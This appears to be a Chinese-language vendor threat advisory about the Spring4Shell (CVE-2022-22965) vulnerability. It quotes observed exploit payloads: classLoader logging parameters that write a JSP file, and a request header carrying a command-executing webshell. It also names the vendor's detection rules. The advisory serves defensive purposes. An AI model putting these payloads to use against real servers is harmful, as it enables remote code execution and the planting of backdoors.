抵御 Spring Core“Spring4Shell”零日攻击
概览
2022 年 3 月 30 日,与热门开源 Java 框架 Spring 相关的漏洞引起安全界广泛关注。Akamai 的自适应安全引擎能够检测到利用此漏洞发起的零日攻击,因此可以保护 Akamai 客户免受此类攻击侵扰(请继续阅读,了解更多详情)。
遗憾的是,漏洞披露时间表和其他非官方发布的信息容易造成混淆,因此我们想为客户和其他感兴趣的利益相关者提供及时的相关信息。
存在以下两个与 Spring 产品相关的漏洞:
CVE-2022-22963 是 Spring Cloud Function(开源无服务器技术)中的一个漏洞,该漏洞已于 3 月 24 日修复,漏洞利用攻击细节也已公开。(注意:我们也针对此漏洞单独撰写了一篇博客。)
另一个漏洞则存在于 Spring Core 中,被称为“Spring4Shell”,编号为 CVE-2022-22965。Spring Core 漏洞的影响更大,因为它会影响核心库,因此有可能波及每一个 Spring 项目。但业界也就该漏洞的可利用性展开了 讨论 ,原因在于利用该漏洞的前提条件是使用一种特殊配置,而即便 Spring 开发人员也能明确嗅到这种配置中隐藏的危险气息。现在,我们将深入探究该漏洞的细节,以澄清一些疑问。
在 Spring Core(“Spring4Shell”)漏洞发布当天(3 月 30 日),我们就发现了漏洞利用企图。
早期漏洞利用企图
初期的一些企图是攻击者尝试部署 webshell(基于 Web 的远程控制后门文件),随后访问该文件并在服务器上执行任意命令,这让他们有可能利用其他恶意软件感染服务器,或在目标网络中传播这些恶意软件。
其他一些尝试则是企业为抵御漏洞而自行开展的测试。
以下是我们发现的一些攻击载荷示例:
多种漏洞变体
Spring Core 漏洞存在多种变体,但在每种变体中,攻击请求都会重新配置日志参数。通过这种方式,攻击者可以设置 webshell 页面的名称、文件扩展名,以及将在其中写入内容的目录:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
请注意,class...first.pattern 参数中的 URL 解码文件内容为 %{f}i。
而 %{} 语法获取的 f 值则来自名为 f 的 HTTP 标头。
GET /aaa HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
在 Spring 开发人员进行正式交流之前,一名研究人员就率先发布了概念验证漏洞代码,由此造成了一定的混淆。虽然该研究人员很快将这段代码撤下,但该漏洞已经泄露,在 vx-underground(安全研究人员社区)门户网站上也能找到这段代码。
之后,该漏洞再次出现,并且从最初的变体演变为更精简的版本。这两种变体之间的主要区别在于,一种变体通过 POST 参数设置易受攻击的参数,另一种则通过查询字符串在 GET 请求中设置。在第二种变体中,发送到服务器的请求数量减少至一个。
第二种漏洞变体还包含可规避潜在的 WAF 或输入过滤的机制,它还会混淆这些安全控制措施通常会关注的敏感代码模式,如 <%、%> 和 Runtime.getRuntime()。 上传的 webshell 文件内容包含一些占位符,Spring 会将这些占位符替换为相应标头值内容。
因此,class...first.pattern 内容中的 %{suffix}i 将被 HTTP 标头值后缀 %>// 所取代。
使用 Akamai 自适应安全引擎抵御攻击
所有 Akamai Kona Site Defender 客户都已经获得了相应的保护。Akamai 自适应安全引擎能够使用现有命令注入规则,检测到这类 Spring Core 零日攻击:
3000023 - Apache Struts ClassLoader 操控远程代码执行
其他 Kona Site Defender 规则集也能抵御该漏洞:
自动攻击组:
1000005 - 命令注入
Kona 规则集:
3000023 - Apache Struts ClassLoader 操控远程代码执行
总结
Spring Core/“Spring4Shell”漏洞的利用门槛较低,因此可能会影响到很多企业。我们预计,攻击者将利用该漏洞发起加密挖矿、DDoS、勒索软件攻击活动,并会在未来几年内将该漏洞用作入侵企业的主要手段。但自适应安全引擎和 Kona Site Defender 规则集可以保护 Akamai 客户免受攻击。
Akamai 威胁研究团队正在密切监控该漏洞的利用情况,并将在新变体出现时分享最新情况。